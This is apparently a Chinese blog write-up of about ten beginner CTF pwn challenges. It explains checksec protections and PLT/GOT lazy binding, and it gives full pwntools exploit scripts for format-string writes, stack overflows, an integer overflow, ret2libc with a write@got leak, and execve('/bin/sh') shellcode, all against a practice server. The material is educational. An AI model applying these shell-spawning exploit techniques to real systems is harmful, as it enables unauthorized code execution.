攻防世界 pwn练习区解法 write up

cgfsb

先checksec一下,确定程序的保护机制,没有开启PIE。在这里插入图片描述

stack:

canary found 是指运行程序时,会把canary取出放入一个rbp定向的值,在退出函数前将rbp定向的值和canary的值进行一个比较(异或一下,看是不是0),如果不相等,则运行_stack_chk_fail函数

NX

数据所在的内存为不可执行,程序溢出转为shellcode时,程序会去在数据页面上执行指令,这个时候CPU抛出异常,不会让它执行

PIE

程序装在随机的地址

ASLR

即使文件开启了PIE保护,还需要开启ASLR才会真正打乱基址

然后我们确定是32位丢到32位IDA,按下F5在这里插入图片描述
这里看到printf函数没有指定format,存在格式化字符串漏洞,关于格式化字符串漏洞,这个师傅的博客讲得很清楚,这里我就偷个懒。且指定了pwnme=8才给我们flag,且pwnme在bss段那就行了,这里也有个师傅讲bss,我也码住在这里插入图片描述
那我们可以开始确定偏移量了

在这里插入图片描述
aaa和61间有10个的距离,写exp,分析在中间

##!/usr/bin/env python
from pwn import *
sh = remote('111.200.241.244','30762')
payload = p32(0x0804A068)  + 'aaaa%10$n'
sh.recvuntil('please tell me your name:\n')
sh.sendline('pwnyou')
sh.recvuntil('leave your message please:\n')
sh.sendline(payload)
sh.interactive()

payload中,我们先输入的是pwnme的地址,这样的话,如果是一个有效的字符串的首地址,就可以用%s将其打印出来,用地址加串的方式就可以打印出来,‘aaaa’是为了和之前p32()对应,这样前面有了八个字节,10$就是我们刚刚求的偏移,我们输入后是把这个的ascii存在后面的10的,后面的%n就是因为前面输入了8个字符,所以这个时候%n把pwnme赋值成8了,参考是这位师傅的博客
如果简单点来说,就是先构造8,然后把8给地址为0下04A068的那个值
相当于printf(‘p32()aaaa%$10n’,……此处省略十个内存所存值……pwnme),也就是把pwnme的值变成8了

hello pwn

在这里插入图片描述

checksec 发现是64位,直接用64位ida打开在这里插入图片描述
put的我们不管了,都是直接打印在屏幕上的
read函数我们直接看它存的是哪里?是601068
然后我们看这个if条件,if条件让60106c和1853186401这一串比较
但是这个内存的数字之前没有提到,但我们之前输入的数是在68里的,如果溢出会溢出到6C
尝试exp在这里插入图片描述
可以连上去,但是没有打印flag
修改一下,发现没有加p64()。。。。。。。。。


##!/usr/bin/env python
from pwn import *
sh = remote('111.200.241.244','52450')
sh.sendline('A' * 4 + p64(1853186401))
sh.interactive()

level0

在这里插入图片描述
没有canary,PIE关闭,栈不可执行,我们可以溢出,但是不能将shellcode写在栈上,因为现在栈上的代码不会执行

查看main函数,看不出来什么明显漏洞格式,但我们结合打开程序的结果可以知道,会打印一个hello world,然后不动,我们输入了一个5就退出了程序。这里要我们输入了,应该会有溢出点,找一下我们常说的高危函数。

在这里插入图片描述在这里插入图片描述
快速做法:
如下图,这里有一个red函数,这个buf指的是一个局部变量,调用read时把buf的数据存入到缓冲区里面

在这里插入图片描述
点buf追踪,定义了128长度的缓冲区长度,这里的r是返回地址,s是ebp,我们用一些很长的数据覆盖ebp,把我们想执行的指令的地址放到r上面就行了在这里插入图片描述
我们要执行的是system函数,在框框里面找到callsystem在这里插入图片描述
选0x400596作为我们的返回地址在这里插入图片描述
这里128加8,因为是64位的,所以payload就应该是136加上 0x400596

练习工具式解法:
这里我们要用到peda,安装口令谷歌上有,提醒要换源哈在这里插入图片描述
利用peda生成一个200的随机序列在这里插入图片描述

运行后把我们这一窜字符复制,输入在这里插入图片描述
这里是register窗口,我们复制ebp的数据,然后用命令,pattern oddset 字符串就可以看到和ebp之间的偏移是多少了在这里插入图片描述
是128,可能有同学不明白为什么是ebp之前的,那我们做个实验在这里插入图片描述
看,所以之前那些指的就是ebp之前的值,所以我们很容易得到136 + 地址的payload

##!/usr/bin/env python
from pwn import *
sh = remote('111.200.241.244','33108')
sh.recvuntil('Hello, World\n')   #注意这里是它先打印hello world我们再输入
sh.sendline('A' * 136 + p64(0x400596))
sh.interactive()

得到flag:
在这里插入图片描述

when did you born

在这里插入图片描述

老方法,还是checksec,拖进ida分析,没有PIE,但是有canary

在这里插入图片描述

我们同时可以结合运行结果,进行分析,发现它会问我们第一个问题,我们的回答存进V5,如果我们回答了1926,它会退出程序,如果不是1926,它会问我们一个问题,这个回答存在V4里面
在这里插入图片描述
在这里插入图片描述

我们可以知道,上面是V4,下面是V5,输入V4尝试对V5进行一个覆盖
构建exp

##!/usr/bin/env python
from pwn import *
sh = remote('111.200.241.244','58405')
sh.recvuntil("What's Your Birth?\n")
sh.sendline('1')
sh.recvuntil("What's Your Name?\n")
sh.sendline('A' * 8 + p64(1926))
sh.interactive()

得到flag在这里插入图片描述

int overflow

直接上ida图在这里插入图片描述
我们输入1之后,1是V4的值,执行login函数,点进去在这里插入图片描述
随意输入账户后,存储到变量S,要求我们输入密码,存入buf里面,然后执行check_passwd函数,注意,这个函数的S是之前我们说的buf
在这里插入图片描述
这里的话,我们看到会检查输入长度,太长了就不行在这里插入图片描述
看了一下,strlen()会把长度的返回值传给al,al最多容纳8位,也就是11111111,即255,如果多于的话,高位会舍去,比如261的100000101‬,那个1会舍去变成101
找输入点,找一下,找到后面有个把s的值赋给dest,利用dest整一个缓冲区溢出在这里插入图片描述
利用peda确定偏移在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
偏移量为20+4,payload我们先填偏移量,再输入地址,这个时候肯定超出长度了,我们用一些数字填满261,但是检测进去只有5,于是可以写wp了
找到what is this函数,调用了system函数在这里插入图片描述

写exp:

##!/usr/bin/env python



from pwn import * 

p = remote("111.200.241.244",31217)

payload = "A" * (0x14+0x4) + p32(0X0804868B) 

payload += "A" * (261-int(len(payload))) 

p.sendlineafter('choice:', '1') 

p.recvuntil("Please input your username:") 

p.sendline("woshinidie") 

p.recvuntil("Please input your passwd:") 

p.sendline(payload) 

p.interactive() 


level2

在这里插入图片描述
没有开启PIE,canary没有找到,但是NX是开启的,栈中的数据没有执行权限,这里可以rop绕过
和之前的题目一样的前提,这里直接上ida
在这里插入图片描述
在这里插入图片描述

我们这里可以找到溢出点,是read,但是这里system不是’bin/sh’,我们想办法把里面的字符串改成bin/sh
在这里插入图片描述
我们观察一下vulnerable_function函数,它的汇编指令如下,我们是先把system里面的‘echo input’入栈,然后下面是call指令,call指令我们知道,作用是把edi变成system所在的地址,并push 下一条指令的地址,也就是返回地址
此时的栈:
在这里插入图片描述
我们有一个想法,在read执行缓冲区溢出,在read的ret对应的栈上写入call system的地址,然后紧接着跟上我们的随便输入的返回地址,再接入一个command,就可以达到system(‘command’)的结果了

可以写exp了

##!/usr/bin/env python



from pwn import * 

p = remote("111.200.241.244",47739)

elf = ELF('./pwn')

system_addr = elf.symbols['system']

bin_addr = elf.search('/bin/sh').next()

payload = "A" * (0x8c) + p32(system_addr) +p32(4)+p32(bin_addr)

p.sendlineafter('Input:',payload) 

p.interactive() 

利用ls和cat能拿到flag

在这里插入图片描述

guess num

打开ida
在这里插入图片描述
最后一个sub_C3E会直接给我们flag
在这里插入图片描述
输入点是我们的gtes(v7),且V7对应的var30下面就是seed在这里插入图片描述
覆盖seed后,我们可以用srand生成我们输入的随机数种子,然后在后面每一次输入的时候加上判断的语句里的算法就行了

from pwn import * 

from ctypes import *

p = remote("111.200.241.244",46945)

c = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

payload = "A" * (0x20) + p64(1)

c.srand(1)

p.sendlineafter('Your name:',payload) 

for i in range(10):

    p.recvuntil('Please input your guess number:')

    p.sendline(str(c.rand()%6 + 1))

p.interactive() 


思路就是这样,只不过这个exp在调试过程中出了很多问题C就是调用的C语言库,让C生成一个随机种子,后面在用随机种子的随机数进行ida里的判断的运算
成功了
在这里插入图片描述

cgpwn2

在这里插入图片描述
PIE没开启,可执行栈。

打开ida
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
一堆运算,且system不是‘bin/sh’,前面有个题目和这个差不多,寻找输入点,有gets,但是我们shift + F12发现没有‘bin/sh’字符串
但是我们看到,有fgets函数,把输入的存入name变量,我们可以试着把‘bin/sh’存入这个name
查看偏移:
在这里插入图片描述
写出exp(直接翻上面的level2的exp改了)

##!/usr/bin/env python



from pwn import * 

p = remote("111.200.241.244",32899)

elf = ELF('./pwn')

p.sendlineafter('please tell me your name',"/bin/sh")

system_addr = elf.symbols['system']

bin_addr = elf.search('/bin/sh').next()

payload = "A" * (0x26+0x4) + p32(system_addr) +p32(4)+p32(bin_addr)

p.sendlineafter('hello,you can leave some message here:',payload) 

p.interactive() 

在这里插入图片描述
发现不行,那就手动找一下name

##!/usr/bin/env python



from pwn import * 

p = remote("111.200.241.244",32899)

elf = ELF('./pwn')

p.sendlineafter('please tell me your name',"/bin/sh")

system_addr = elf.symbols['system']

#bin_addr = elf.search('/bin/sh').next()

payload = "A" * (0x26+0x4) + p32(system_addr) +p32(4)+p32(0x0804A080)

p.sendlineafter('hello,you can leave some message here:',payload) 

p.interactive() 

在这里插入图片描述
成功了。。自动找不到还是得手动

string

在这里插入图片描述
PIE没有开,但是有栈检查且栈不可执行

打开ida
在这里插入图片描述
先调用40096函数(sub_40096直接用40096指代),先进这个函数看一下,发现没有什么用
然后给V4分配了8个字节的空间,然后*V4=v4[0]=68,V4[1]=85
然后打印secret[0]就是v4的地址,又将V4作为参数,调用400D72函数,进去看一看
在这里插入图片描述
叫我们输入了一个名字,存储到S里,判断S的长度,如果小于12(10进制),则执行400A7D,400BB9,400CA6(a1)函数,先看一下400A7D
在这里插入图片描述

要我们输入east,然后给S1,才能退出,那我们看看400BB9
在这里插入图片描述
我们看到,这里的printf(format)格式化字符串漏洞!!!但先别急,接着看400AC6
在这里插入图片描述
这个语句会把v1转换成一个函数指针((void (__fastcall *)(_QWORD))v1)(0LL);我们把payload写到这,但是要执行这一条语句要令a1[0]=a1[1],a1是这个函数的参数,调回去看a1就是v4,也就是将之前的v4[0]=68改成85
先运行程序
按他ida里的提示,我们输入了eat,1,然后利用格式化字符串,到youwishis时输入
在这里插入图片描述

偏移为7
在这里插入图片描述
注入完成后,一定要记住再注入system(“bin/sh”)的机器指令

##!/usr/bin/env python
from pwn import * 

p = remote("111.200.241.244",35013)

payload1 = '%85d%7$n'

payload2 = '\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05'

p.recvuntil("secret[0] is ")

addr = p.recvuntil("\n")

p.sendlineafter("What should your character's name be:","your father")

p.sendlineafter("So, where you will go?east or up?:",'east')

p.sendlineafter("go into there(1), or leave(0)?:",'1')

p.sendlineafter("Give me an address",str(int(addr, 16)))

p.sendlineafter("And, you wish is:",payload1)

p.sendlineafter("Wizard: I will help you! USE YOU SPELL",payload2)

p.interactive() 

在这里插入图片描述

level3

在这里插入图片描述

这次打开是个gz后缀的,解压后,发现还是个压缩包,再次提取到桌面
发现有一个level3和另一个libc文件
在这里插入图片描述
在这里插入图片描述

那就进vulnerable_function(),一看,栈是不可执行的,但这里有内存溢出,可以试试rop
但是shift F12没有
在这里插入图片描述

在这里插入图片描述
但是我们找到了一个动态链接库,所以需要找到system和‘bin/sh’到程序中映射的地址

plt&got

先给出一段C代码

#include<stdio.h>
void print_banner()
{
    printf("welcome to plt and got\n");
}
int main(void)
{
    print_banner();
    return 0;
}

使用gcc -Wall -g -o test.o -c test.c -m32编译,在原有test.c上得到test.o文件
在这里插入图片描述
使用命令gcc -o test test.o -m32得到一个可执行文件
在这里插入图片描述

objdump -d test.o查看test.o反汇编
在这里插入图片描述
在7:那一行,此时print_banner调用了C语言库里的printf函数
而我们常常看到的libc或者glibc就是常说的C语言库,而printf函数就是存在这些库里面
在7:那一行可以看出,此时的printf函数是用fcffffff代替的,但这是little,所以因该是fffffffc代替,应该是-4。这是因为只有当函数运行时才能确定printf的地址
但是运行时,不能将call那一块变成真正的printf的地址,那如何变成真正的地址?
下一个阶段就是链接阶段,把test.o生成可执行文件的时候会生成一小段代码,通过这段代码获取printf的地址

.text

// 调用printf的call指令
call printf_stub

printf_stub:
mov rax, [printf函数的储存地址] // 获取printf重定位之后的地址
jmp rax // 跳过去执行printf函数

.data

printf函数的储存地址:这里储存printf函数重定位后的地址

如图printf_stub把printf函数的存储地址放到eax里面,然后再jmp过去
存放函数外部地址的表叫做GOT表,global offset table。存放额外代码叫做plt表
使用命令objdump -sd test -M intel
在这里插入图片描述
在这里插入图片描述
看到我们现在的printf有明确的3b0,然后前面3b0有明确的地址
在这里插入图片描述
这个图的原地址是[这个链接],觉得这个图很直观,就码住了(https://blog.csdn.net/linyt/article/details/51635768?utm_source=app&app_version=4.5.2)

延迟绑定

一开始对所有的函数进行重定位很麻烦
现在只有调用库里面的函数时才进行重定位

adress:
    jmp *printf@got
  

比如一开始printf@got找一个look_printf的地址,look_printf寻找printf的地址,写入printff@got,look_printf返回到adess函数,这样再jmp *printf@got时就可以直接跳转到printf执行
也就是说不知道printf的地址的话需要去找一下
看到之前的plt表
在这里插入图片描述

这里除了第一个.plt其他的plt表第一条jmp都是跳转到对应的got,这时候如果函数没有执行,这里的地址对应plt下的一条命令,push0x0
我们可以用peda查看got
用x/x jmp的地址,发现就是下一条命令的地址,也就是说,指向了got表后它又指回来指向jmp下一行指令,因为还没有执行got函数,所以填的是寻找put函数的内容
所以会先执行push 0x0,然后又跳转到3a0,直接跳到第一个.plt
执行第一个push先压栈,然后这个jmp 0x8在执行之前是0,再走又变成了另一个地址
所以是这个顺序:func@plt 到func@got到func@plt到 .plt到运行时进行重定位的函数dl_runtime_resolve
在func@plt中,有一个push 0x0每一个不同的函数push的值不一样,这就告诉我们dl_runtime_resolve要找哪一个函数的地址

在这里插入图片描述
如图最后两行,00001fe4对应之前puts@plt中第一行jmp的got地址
got表地址有三个特殊的

got[0]: 本ELF动态段(.dynamic段)的装载地址
got[1]:本ELF的link_map数据结构描述符地址
got[2]:_dl_runtime_resolve函数的地址

跟着大佬流程图缕一下
第一次调用:
在这里插入图片描述

1:调用一个函数来到plt表,走一步jmp
2:跳转到got表
3:回来到plt
4:跳到公共plt表
5:跳到got表,下载这里面其实指的是_dl_runtime_resolve函数的地址
6:跳到_dl_runtime_resolve函数,这个时候_dl_runtime_resolve做两件事情
7:第一件事,将puts@plt中对应的got改成puts函数地址
8:第二件事,调用puts

第二次调用:
在这里插入图片描述

回到我们的题目,我们现在知道了关于plt和got的知识,也就是如果我们针对于write函数,如果调用过write函数,那么got表里面存的就是write的地址

写exp

from pwn import * 

p = remote("111.200.241.244",49832)
e = ELF("./level3")

wr_got = e.got['write']
wr_plt = e.plt["write"]
vun_addr = e.symbols['vulnerable_function']

payload1 = 'a' * (0x88+0x4) + p32(wr_plt) + p32(vun_addr) + p32(0x1) + p32(wr_got) + p32(0x4)
#栈溢出,返回的是write的plt地址,执行完write后,返回地址为vun函数,然后是根据write的参数,从栈上依次往下是文件描述符,写入的需要回显的地方,写入大小
p.sendlineafter("Input:\n",payload1)

wr_addr = u32(p.recv(4))
print('write address is '+ hex(wr_addr))

lbc = ELF("libc_32.so.6")
lbc_start = wr_addr - lbc.symbols['write']

sys_addr = lbc_start + lbc.symbols['system']

bin_addr = lbc_start + lbc.search('/bin/sh').next()

payload2 = 'a' * (0x88+0x4) + p32(sys_addr) + p32(0) + p32(bin_addr)

p.recv()
p.sendline(payload2)

p.interactive() 

在这里插入图片描述
成功

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值